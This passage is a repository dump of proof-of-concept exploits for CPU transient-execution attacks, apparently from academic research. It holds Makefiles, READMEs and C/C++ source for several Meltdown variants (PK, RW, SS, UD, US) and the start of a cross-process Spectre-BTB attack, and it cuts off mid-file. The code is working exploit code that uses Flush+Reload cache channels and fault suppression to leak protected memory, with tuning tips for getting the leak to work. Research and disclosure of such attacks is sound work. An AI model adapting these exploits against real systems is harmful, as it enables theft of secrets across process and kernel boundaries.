S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | In our PoC, we assign a protection key to a buffer containing the secret. In each iteration, we disable the protection, access the data, and re-enable the protection. This is to ensure that the data is cached. 20 | 21 | We leak the data by accessing the protected buffer and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation. 22 | 23 | This PoC requires a CPU that supports Intel MPK. 24 | 25 | ## Troubleshooting 26 | 27 | * The output is garbage (mostly just (random letters)) 28 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 29 | 30 | * The program does not leak anything 31 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. 32 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 33 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 34 | -------------------------------------------------------------------------------- /pocs/meltdown/PK/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "libcache/cacheutils.h" 11 | 12 | #define SECRET 'S' 13 | 14 | int main(void) { 15 | int status; 16 | int pkey; 17 | char *buffer; 18 | pagesize = sysconf(_SC_PAGESIZE); 19 | mem = (char*) malloc( pagesize * 256 ); 20 | memset(mem, 1, pagesize * 256); 21 | 22 | // Detect cache threshold 23 | if(!CACHE_MISS) 24 | CACHE_MISS = detect_flush_reload_threshold(); 25 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 26 | 27 | buffer = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, 28 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 29 | if(buffer == MAP_FAILED) { 30 | perror("mmap"); 31 | return EXIT_FAILURE; 32 | } 33 | 34 | // Put some random data into the page (still OK to touch) 35 | *buffer = SECRET; 36 | printf("buffer contains: %d\n", *buffer); 37 | 38 | // Allocate a protection key: 39 | pkey = pkey_alloc(0, PKEY_DISABLE_ACCESS); 40 | if(pkey == -1) { 41 | perror("pkey_alloc"); 42 | return EXIT_FAILURE; 43 | } 44 | 45 | // Enable access to any memory with "pkey" set, 46 | // even though there is none right now 47 | status = pkey_set(pkey, 0); 48 | if(status) { 49 | perror("pkey_set"); 50 | return EXIT_FAILURE; 51 | } 52 | 53 | // Set the protection key on "buffer". 54 | // Note that it is still read/write as far as mprotect() is 55 | // concerned and the previous pkey_set() overrides it. 56 | status = pkey_mprotect(buffer, getpagesize(), PROT_READ | PROT_WRITE, pkey); 57 | if(status == -1) { 58 | perror("pkey_mprotect"); 59 | return EXIT_FAILURE; 60 | } 61 | 62 | printf("Buffer: %d\n", *buffer); 63 | 64 | // Disable access 65 | status = pkey_set(pkey, PKEY_DISABLE_ACCESS); 66 | if(status) { 67 | perror("pkey_set"); 68 | return EXIT_FAILURE; 69 | } 70 | 71 | printf("about to read buffer with Meltdown-PK...\n"); 72 | 73 | // flush memory before access 74 | flush_shared_memory(); 75 | 76 | for(int r = 0; r < 1000000; r++) { 77 | // ensure data is cached 78 | pkey_set(pkey, 0); 79 | maccess(buffer); 80 | pkey_set(pkey, PKEY_DISABLE_ACCESS); 81 | // just to be sure... 82 | mfence(); 83 | nospec(); 84 | sched_yield(); 85 | 86 | // TSX begin 87 | if(try_start()) { 88 | // Encode data in the cache 89 | asm volatile("1:\n" 90 | "movq (%%rsi), %%rsi\n" 91 | "movzx (%%rcx), %%rax\n" 92 | "shl $12, %%rax\n" 93 | "jz 1b\n" 94 | "movq (%%rbx,%%rax,1), %%rbx\n" 95 | : 96 | : "c"(buffer), "b"(mem), "S"(0) 97 | : "rax"); 98 | try_abort(); 99 | } 100 | try_end(); 101 | 102 | // Recover data from cache covert channel 103 | for(int i = 1; i < 256; i++) { 104 | int mix_i = ((i * 167) + 13) % 256; 105 | if (flush_reload(mem + mix_i * pagesize)) { 106 | printf("%d ", mix_i); 107 | fflush(stdout); 108 | } 109 | } 110 | } 111 | 112 | printf("Meltdown-PK done!\n"); 113 | // Free protection key 114 | if(pkey_free(pkey) == -1) { 115 | perror("pkey_free"); 116 | return EXIT_FAILURE; 117 | } 118 | 119 | munmap(buffer, pagesize); 120 | free(mem); 121 | 122 | return EXIT_SUCCESS; 123 | } 124 | -------------------------------------------------------------------------------- /pocs/meltdown/RW/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -O3 -I../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/meltdown/RW/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-RW PoC 2 | 3 | This folder contains a Meltdown-RW proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | In our PoC, we have function consisting of just bytes of 'R'. We then write to this function, reload the data and encode it in the cache. Writing to a function triggers a fault as functions are not writable. We suppress the fault either via Intel TSX or segfault handling. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just (random letters)) 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 26 | 27 | * The program does not leak anything 28 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 29 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 30 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 31 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 32 | -------------------------------------------------------------------------------- /pocs/meltdown/RW/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "libcache/cacheutils.h" 11 | 12 | #define SECRET 'S' 13 | 14 | void function() { 15 | asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); 16 | asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); 17 | asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); 18 | asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); 19 | } 20 | 21 | int main(void) { 22 | pagesize = sysconf(_SC_PAGESIZE); 23 | mem = (char*) malloc( pagesize * 256 ); 24 | memset(mem, 1, pagesize * 256); 25 | 26 | // Detect cache threshold 27 | if(!CACHE_MISS) 28 | CACHE_MISS = detect_flush_reload_threshold(); 29 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 30 | 31 | // Flush our shared memory 32 | flush_shared_memory(); 33 | 34 | printf("Output legend:\n"); 35 | printf(" 'R'.....Read old value\n"); 36 | printf(" '%c'.....Read new value\n\n", (char)SECRET); 37 | 38 | for(int r = 0; r < 1000000; r++) { 39 | if(try_start()) { 40 | //Null pointer access prolongs transient window 41 | maccess(0); 42 | //overwrite read-only data 43 | (*((volatile char*)((size_t)function + 32))) = SECRET; 44 | //access shared memory based on overwritten value 45 | maccess(mem + *((volatile char*)((size_t)function + 32)) * pagesize); 46 | 47 | try_abort(); 48 | } 49 | try_end(); 50 | 51 | //Recover data from cache covert channel 52 | for(int i = 0; i < 256; i++) { 53 | int mix_i = ((i * 167) + 13) % 256; 54 | if(flush_reload(mem + mix_i * pagesize)) { 55 | printf("%c ", mix_i); 56 | fflush(stdout); 57 | } 58 | } 59 | } 60 | 61 | printf("Meltdown-RW done!\n"); 62 | free(mem); 63 | 64 | return EXIT_SUCCESS; 65 | } 66 | 67 | -------------------------------------------------------------------------------- /pocs/meltdown/SS/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -m32 -DM32=1 -o poc_x86 main.c 3 | 4 | clean: 5 | rm -rf poc_x86 6 | 7 | -------------------------------------------------------------------------------- /pocs/meltdown/SS/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-SS PoC 2 | 3 | This folder contains a Meltdown-SS proof-of-concept implementation for x86_64. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` for x86_64. 12 | 13 | If the PoC is successfull the output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | In this PoC, we modify the Local Descriptor Table so that we can trigger a stack-segment fault. We then try to encode the secret value in the cache. Exception suppression is done by either via Intel TSX or segfault handling. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just (random letters)) 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | 26 | * The program does not leak anything 27 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 28 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 29 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 30 | -------------------------------------------------------------------------------- /pocs/meltdown/SS/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include "cacheutils.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | char mem[4096 * 256]; 13 | 14 | #define SEGMENT "es" 15 | #define DO_SEG_FAIL 1 16 | 17 | char __attribute__((aligned(0x1000))) secret = 'S'; 18 | char __attribute__((aligned(0x1000))) dummy; 19 | unsigned status; 20 | 21 | struct user_desc my_desc_ok = { 22 | .entry_number = 0, 23 | .base_addr = 0x0, 24 | .limit = 0xFFFFFF, 25 | .seg_32bit = 0x1, 26 | .contents = MODIFY_LDT_CONTENTS_DATA, 27 | .read_exec_only = 0x0, 28 | .limit_in_pages = 0x1, 29 | .seg_not_present = 0x0, 30 | .useable = 0x1 31 | }; 32 | 33 | struct user_desc my_desc_fail = { 34 | .entry_number = 1, 35 | .base_addr = 0x0, 36 | .limit = 0x1, 37 | .seg_32bit = 0x1, 38 | .contents = MODIFY_LDT_CONTENTS_DATA, 39 | .read_exec_only = 0x0, 40 | .limit_in_pages = 0x1, 41 | .seg_not_present = 0x0, 42 | .useable = 0x1 43 | }; 44 | 45 | void inline __attribute__((always_inline)) seg_ok(void) { 46 | asm("mov $0x7, %%eax\n\t" /* 0111: 0=idx, 1=LDT, 11=CPL */ 47 | "mov %%eax, %%" SEGMENT "\n\t" 48 | :::"eax"); 49 | } 50 | 51 | void inline __attribute__((always_inline)) seg_fail(void) { 52 | asm("mov $0xf, %%eax\n\t" /* 0111: 1=idx, 1=LDT, 11=CPL */ 53 | "mov %%eax, %%" SEGMENT "\n\t" 54 | :::"eax"); 55 | } 56 | 57 | int main(void) { 58 | if(syscall(__NR_modify_ldt, 1, &my_desc_ok, sizeof(struct user_desc))) 59 | exit(EXIT_FAILURE); 60 | 61 | if(syscall(__NR_modify_ldt, 1, &my_desc_fail, sizeof(struct user_desc))) 62 | exit(EXIT_FAILURE); 63 | 64 | memset(mem, 1, sizeof(mem)); 65 | 66 | // Detect cache threshold 67 | if(!CACHE_MISS) 68 | CACHE_MISS = detect_flush_reload_threshold(); 69 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 70 | 71 | // Flush our shared memory 72 | for(int i = 0; i < 256; i++) { 73 | flush(mem + i * 4096); 74 | } 75 | 76 | for(int r = 0; r < 1000000; r++) { 77 | // Ensure data is in the cache 78 | maccess(&secret); 79 | #if DO_SEG_FAIL 80 | seg_fail(); 81 | #endif 82 | // tsx begin 83 | if(try_start()) { 84 | // Encode in the cache 85 | asm("mov dummy, %%ebx\n\t" 86 | "mov %%" SEGMENT ":secret, %%eax\n\t" 87 | "shl $0xc, %%eax\n\t" 88 | "mov (%0, %%eax), %%eax\n\t" 89 | ::"c"(mem):"eax", "ebx"); 90 | 91 | // tsx end 92 | try_abort(); 93 | } 94 | try_end(); 95 | seg_ok(); 96 | 97 | // Recover data from the covert channel 98 | for(int i = 1; i < 256; i++) { 99 | if (flush_reload(mem + i * 4096)) { 100 | printf("%c ", i); 101 | } 102 | } 103 | flush(&dummy); 104 | } 105 | 106 | printf("Meltdown-SS done!\n"); 107 | exit(EXIT_SUCCESS); 108 | } 109 | -------------------------------------------------------------------------------- /pocs/meltdown/UD/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -O3 -I../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/meltdown/UD/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-UD PoC 2 | 3 | This folder contains a Meltdown-UD proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | If the PoC is successfull the output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | In this PoC, we try to encode a value in the cache following an illegal opcode exception. On x86, we use a wrong lock prefix to trigger the exception, on ARM we use the instruction that is defined to always throw the exception. We suppress the exception either via Intel TSX or segfault handling. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just (random letters)) 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 26 | 27 | * The program does not leak anything 28 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 29 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 30 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 31 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 32 | + **Solution #5 (ARM only):** If you get a segfault, try compiling it with -O1 or -O2. 33 | -------------------------------------------------------------------------------- /pocs/meltdown/UD/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "libcache/cacheutils.h" 10 | 11 | #define SECRET 'S' 12 | 13 | int main(void) { 14 | int status; 15 | int pkey; 16 | char *buffer; 17 | pagesize = sysconf(_SC_PAGESIZE); 18 | mem = (char*) malloc( pagesize * 256 ); 19 | memset(mem, 1, pagesize * 256); 20 | 21 | // Detect cache threshold 22 | if(!CACHE_MISS) 23 | CACHE_MISS = detect_flush_reload_threshold(); 24 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 25 | 26 | buffer = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, 27 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 28 | 29 | *buffer = SECRET; 30 | printf("buffer contains: %c\n", *buffer); 31 | 32 | // Flush our shared memory 33 | flush_shared_memory(); 34 | 35 | for(int r = 0; r < 1000000; r++) { 36 | // Ensure data is in the cache 37 | maccess(buffer); 38 | unsigned status; 39 | // Start TSX 40 | if(try_start()) { 41 | // ud#, due to wrong lock prefix 42 | #if !defined(__aarch64__) 43 | asm volatile(".byte 0xf0"); 44 | asm volatile("inc %rax"); 45 | #else 46 | asm volatile (".word 0x00000000\n"); //raises sigill 47 | #endif 48 | // Encode in the cache 49 | maccess(mem + (*buffer) * pagesize); 50 | 51 | try_abort(); 52 | } 53 | try_end(); 54 | 55 | // Recover from the covert channel 56 | for(int i = 0; i < 256; i++) { 57 | int mix_i = (i * 167 + 13) % 256; 58 | if(flush_reload(mem + mix_i * pagesize)) { 59 | printf("%c ", mix_i); 60 | fflush(stdout); 61 | } 62 | } 63 | } 64 | 65 | printf("Meltdown-UD done!\n"); 66 | 67 | printf("buffer contains: %c\n", *buffer); 68 | 69 | free(mem); 70 | return EXIT_SUCCESS; 71 | } 72 | -------------------------------------------------------------------------------- /pocs/meltdown/US/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -O3 -I../../ -L../../libpte -lpte -lrt 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ -L../../libpte -lpte -lrt 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/meltdown/US/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-US PoC 2 | 3 | This folder contains a Meltdown-US proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | In our PoC, we create a shared mapping to a piece of memory. For one mapping, we clear the userspace-accessible bit using libpte (PTEditor), the other one remains a valid mapping that is accessible from userspace. This valid mapping is required to load the data into the cache. Our PoC also works if the data is not in the cache, but it takes longer to leak data. 20 | 21 | We leak the data by accessing it through the non-accessible mapping and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation. 22 | 23 | ## Troubleshooting 24 | 25 | * The output is garbage (mostly just (random letters)) 26 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 27 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 28 | 29 | * The program does not leak anything 30 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 31 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 32 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 33 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 34 | -------------------------------------------------------------------------------- /pocs/meltdown/US/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "libpte/ptedit_header.h" 14 | #include "libcache/cacheutils.h" 15 | 16 | char *victim_page; 17 | 18 | #define SECRET 'S' 19 | 20 | int main(void) { 21 | pagesize = sysconf(_SC_PAGESIZE); 22 | mem = (char*) malloc( pagesize * 256 ); 23 | memset(mem, 1, pagesize * 256); 24 | 25 | // Detect cache threshold 26 | if(!CACHE_MISS) 27 | CACHE_MISS = detect_flush_reload_threshold(); 28 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 29 | 30 | // Initialize PTEditor to manipulate page table entries 31 | if(ptedit_init()) { 32 | printf("Could not initialize ptedit (did you load the kernel module?)\n"); 33 | return 1; 34 | } 35 | 36 | // We need a shared mapping. One mapping gets US bit cleared for unauthorized access. 37 | // The second one remains valid to keep data in the cache as it works better. 38 | int shm = shm_open("shared_mapping", O_CREAT | O_RDWR, 0644); 39 | if(shm == -1) { 40 | fprintf(stderr, "Error: Shared memory\n"); 41 | return -1; 42 | } 43 | 44 | // Set memory objects size 45 | if(ftruncate(shm, 4096 * 2) == -1) { 46 | fprintf(stderr, "Error: Could not set shared memory object size\n"); 47 | return -1; 48 | } 49 | 50 | // Victim mapping that gets US bit cleared 51 | victim_page = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, 52 | MAP_SHARED, shm, 0); 53 | 54 | // Mapping for keeping data in the cache 55 | char* accessor = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, 56 | MAP_SHARED, shm, 0); 57 | 58 | // Write data we want to recover to our victim page 59 | memset( victim_page, SECRET, pagesize * sizeof(char) ); 60 | // Clear US bit of our victim page 61 | ptedit_pte_clear_bit( victim_page, 0, PTEDIT_PAGE_BIT_USER); 62 | 63 | // Flush our shared memory 64 | flush_shared_memory(); 65 | 66 | printf("Output legend:\n"); 67 | printf(" '%c'.....Works\n", (char)SECRET); 68 | 69 | for(int r = 0; r < 1000000; r++) { 70 | // Load data into the cache and fence 71 | maccess(accessor); 72 | mfence(); 73 | // Start TSX transaction if available on CPU 74 | if(try_start()) { 75 | // Null pointer access prolongs transient window 76 | maccess(0); 77 | // Perform access based on unauthorized data 78 | maccess(mem + *victim_page * pagesize); 79 | try_abort(); 80 | } 81 | try_end(); 82 | 83 | // Recover data from cache covert channel 84 | for(int i = 0; i < 256; i++) { 85 | int mix_i = ((i * 167) + 13) % 256; 86 | if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { 87 | printf("%c ", mix_i); 88 | fflush(stdout); 89 | } 90 | } 91 | } 92 | 93 | printf("Meltdown-US done!\n"); 94 | munmap(victim_page, pagesize); 95 | munmap(accessor, pagesize); 96 | shm_unlink("shared_mapping"); 97 | ptedit_cleanup(); 98 | exit(EXIT_SUCCESS); 99 | } 100 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_ip/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.cpp 7 | g++ main.cpp -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.cpp 10 | aarch64-linux-gnu-g++ -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.cpp -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_ip/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-BTB PoC 2 | 3 | This folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | This PoC uses a class from which two subclasses are derived. One class Bird contains the secret data and a implements the function `move` so that it does nothing. The other class, Fiish, contains some dummy data and the implements the function `move` so that it encodes the member variable in the cache. The functinon `move_animal` then expects the base class as a parameter and calls the virtual function `move`. We then fork and let one process call the function with an object of type Fish and then let the other process call the function with a Bird object, thus leaking the secret data. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just "AAAAAAAAAA...") 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 26 | 27 | * The program appears to hang in "Leak secret..." 28 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 29 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 30 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 31 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 32 | -------------------------------------------------------------------------------- /pocs/spectre/BTB/ca_ip/main.cpp: -------------------------------------------------------------------------------- 1 | #ifndef _GNU_SOURCE 2 | #define _GNU_SOURCE 3 | #endif 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | extern "C" { 13 | #include "libcache/cacheutils.h" 14 | } 15 | 16 | #define SECRET 'S' 17 | 18 | // Base class 19 | class Animal { 20 | public: 21 | virtual void move() { 22 | } 23 | }; 24 | 25 | 26 | // Bird contains the secret 27 | class Bird : public Animal { 28 | private: 29 | char secret; 30 | public: 31 | Bird() { 32 | secret = SECRET; 33 | } 34 | void move() { 35 | // nop 36 | } 37 | }; 38 | 39 | // Class that contains the function to leak data 40 | class Fish : public Animal { 41 | private: 42 | char data; 43 | public: 44 | Fish() { 45 | data = 'F'; 46 | } 47 | void move() { 48 | //Encode data in the cache 49 | cache_encode(data); 50 | } 51 | }; 52 | 53 | // Function so that we always call animal->move from the same virtual address 54 | // required for indexing always the same BTB entry 55 | void move_animal(Animal* animal) { 56 | animal->move(); 57 | } 58 | 59 | 60 | int main(int argc, char **argv) { 61 | // Detect cache threshold 62 | if(!CACHE_MISS) 63 | CACHE_MISS = detect_flush_reload_threshold(); 64 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 65 | printf("Works if %c appears\n", SECRET); 66 | 67 | pagesize = sysconf(_SC_PAGESIZE); 68 | char* _mem = (char*)malloc(pagesize*300); 69 | mem = (char*)(((size_t)_mem & ~(pagesize-1)) + pagesize*2); 70 | 71 | // Cross-address-space attack, so we fork 72 | int is_child = (fork() == 0); 73 | Fish* fish = new Fish(); 74 | Bird* bird = new Bird(); // contains secret 75 